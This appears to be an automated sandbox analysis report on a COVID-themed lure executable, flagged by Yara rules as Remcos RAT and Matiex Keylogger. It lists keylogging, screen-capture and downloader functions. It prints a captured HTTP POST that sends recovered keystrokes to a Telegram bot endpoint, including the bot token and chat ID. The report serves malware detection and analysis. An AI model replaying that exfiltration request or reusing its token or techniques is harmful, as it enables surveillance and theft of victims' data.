Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421347506.0000000007D20000.00000004.00000001.sdmp	String found in binary or memory: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com , www.youtube.com , www.google.com , www.youtube.com ,www.google.com , www.youtube.comN equals www.youtube.com (Youtube)
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.416917589.0000000001256000.00000004.00000020.sdmp	String found in binary or memory: -Connection www.google.com , www.youtube.com , www.google.com , www.youtube.com ,www.google.com , www.youtube.com equals www.youtube.com (Youtube)
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.416957325.00000000012AE000.00000004.00000001.sdmp	String found in binary or memory: -Connection www.google.com , www.youtube.com , www.google.com , www.youtube.com ,www.google.com , www.youtube.comO equals www.youtube.com (Youtube)
Source: PowerShell_transcript.562258.s+AUuVS9.20210913063011.txt.4.dr	String found in binary or memory: DESKTOP-71... www.youtube.com 172.217.20.14 32 27 equals www.youtube.com (Youtube)
Source: PowerShell_transcript.562258.s+AUuVS9.20210913063011.txt.4.dr	String found in binary or memory: DESKTOP-71... www.youtube.com 172.217.20.14 32 28 equals www.youtube.com (Youtube)
Source: PowerShell_transcript.562258.s+AUuVS9.20210913063011.txt.4.dr	String found in binary or memory: DESKTOP-71... www.youtube.com 172.217.20.14 32 30 equals www.youtube.com (Youtube)
Source: PowerShell_transcript.562258.s+AUuVS9.20210913063011.txt.4.dr	String found in binary or memory: Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Test-Connection www.google.com , www.youtube.com , www.google.com , www.youtube.com ,www.google.com , www.youtube.com equals www.youtube.com (Youtube)
Source: PowerShell_transcript.562258.s+AUuVS9.20210913063011.txt.4.dr	String found in binary or memory: PS>Test-Connection www.google.com , www.youtube.com , www.google.com , www.youtube.com ,www.google.com , www.youtube.com equals www.youtube.com (Youtube)
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.417366886.0000000002DA1000.00000004.00000001.sdmp	String found in binary or memory: Test-Connection www.google.com , www.youtube.com , www.google.com , www.youtube.com ,www.google.com , www.youtube.com equals www.youtube.com (Youtube)
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.416957325.00000000012AE000.00000004.00000001.sdmp	String found in binary or memory: Test-Connection www.google.com , www.youtube.com , www.google.com , www.youtube.com ,www.google.com , www.youtube.comO equals www.youtube.com (Youtube)
Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.421347506.0000000007D20000.00000004.00000001.sdmp	String found in binary or memory: Test-Connection www.google.com , www.youtube.com , www.google.com , www.youtube.com ,www.google.com , www.youtube.comX equals www.youtube.com (Youtube)

Source: unknown

HTTP traffic detected: POST /bot1709631362:AAFYoVMQZpimi2iPHwdKoK17kT4Nb88GHhM/sendDocument?chat_id=1120598411&caption=%20Pc%20Name:%20user%20-%20Matiex%20Keylogger%0D%0A%0D%0A/%20Matiex%20Keylogger%20-%20Recovered%20keystroke%20%5C HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d9768030b76e62Host: api.telegram.orgContent-Length: 749Connection: Keep-Alive

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49788 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality to capture and log keystrokes

Show sources

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: [Esc]
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: [Enter]
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: [Tab]
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: [Down]
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: [Right]
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: [Up]
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: [Left]
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: [End]
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: [F2]
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: [F1]
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: [Del]
Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: [Del]

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Code function: 28_2_0040A71E ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,SetEvent,FindCloseChangeNotification,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,atoi,GetTickCount,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,atoi,atoi,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,URLDownloadToFileA,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,ShellExecuteA,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Code function: 28_2_0040D71E CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,StretchBlt,GetObjectA,LocalAlloc,GlobalAlloc,GetDIBits,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z,??Y?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z,??Y?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z,??Y?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,DeleteObject,GlobalFree,DeleteDC,DeleteDC,DeleteDC,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,

Source: UK COVID UPDATES AND ENTITLEMENT.exe, 00000000.00000002.416785382.00000000011DB000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Code function: 28_2_004038DB GetKeyState,GetKeyState,GetKeyState,CallNextHookEx,

Source: C:\Users\user\AppData\Local\Temp\dwnl.exe

Window created: window name: CLIPBRDWNDCLASS

E-Banking Fraud:

Yara detected Remcos RAT

Show sources

Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3ed9988.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.418169362.0000000002F23000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.468948804.0000000002900000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.429721772.0000000002900000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.429209935.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.432136781.0000000002900000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.418954944.0000000003ED9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.419012391.0000000003F25000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.467780819.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.418279701.0000000002F5D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6360, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6720, type: MEMORYSTR

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.unpack, type: UNPACKEDPE	Matched rule: detect Remcos in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Remcos in memory Author: JPCERT/CC Incident Response Group
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Remcos in memory Author: JPCERT/CC Incident Response Group
Source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.raw.unpack, type: UNPACKEDPE	Matched rule: detect Remcos in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: detect Remcos in memory Author: JPCERT/CC Incident Response Group
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3ed9988.6.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3ed9988.6.raw.unpack, type: UNPACKEDPE	Matched rule: detect Remcos in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3ed9988.6.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.raw.unpack, type: UNPACKEDPE	Matched rule: detect Remcos in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: detect Remcos in memory Author: JPCERT/CC Incident Response Group
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Remcos in memory Author: JPCERT/CC Incident Response Group
Source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.unpack, type: UNPACKEDPE	Matched rule: detect Remcos in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: detect Remcos in memory Author: JPCERT/CC Incident Response Group
Source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Remcos Payload Author: kevoreilly
Source: 0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Remcos in memory Author: JPCERT/CC Incident Response Group
Source: 0000001C.00000000.430910958.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000000.00000002.418169362.0000000002F23000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Remcos in memory Author: JPCERT/CC Incident Response Group
Source: 0000001C.00000000.429209935.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Remcos Payload Author: kevoreilly
Source: 0000001C.00000000.429209935.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Remcos in memory Author: JPCERT/CC Incident Response Group
Source: 0000001C.00000000.429209935.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000000.00000002.418954944.0000000003ED9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Remcos in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.419012391.0000000003F25000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Remcos in memory Author: JPCERT/CC Incident Response Group
Source: 0000001C.00000002.467780819.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Remcos Payload Author: kevoreilly
Source: 0000001C.00000002.467780819.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Remcos in memory Author: JPCERT/CC Incident Response Group
Source: 0000001C.00000002.467780819.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000000.00000002.418279701.0000000002F5D000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Remcos in memory Author: JPCERT/CC Incident Response Group

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6720 -s 920

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_01470860
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_01470870
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_07C10112
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_07C100CF
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_07C1008D
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_07C10072
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_080F7238
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_080FA2D8
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_080F9B48
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_080FA2C9
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_08136948
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_0813CA80
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_08130A80
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_08135310
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_08139BA0
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_0813745F
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_0813B678
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_08133F48
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Code function: 0_2_0813D790
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_013FF1B8
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_013FD1A0
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_013F0590
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_013FDA70
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_013FCE58
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_013F1108
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_013F10F8
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_013F1620
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_013F1612
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_013F0BF0
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_013F0BE0
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_013F8A08
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_01428140
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_01420090
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_014265F0
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0142F708
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0142E738
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0142D7B8
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_014238D0
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_01421DC0
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0142EF20
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0142CFD0
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0142DFA0
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_01428130
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_014265E0
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0142D79D
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_0142D7B6
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Code function: 33_2_01425990
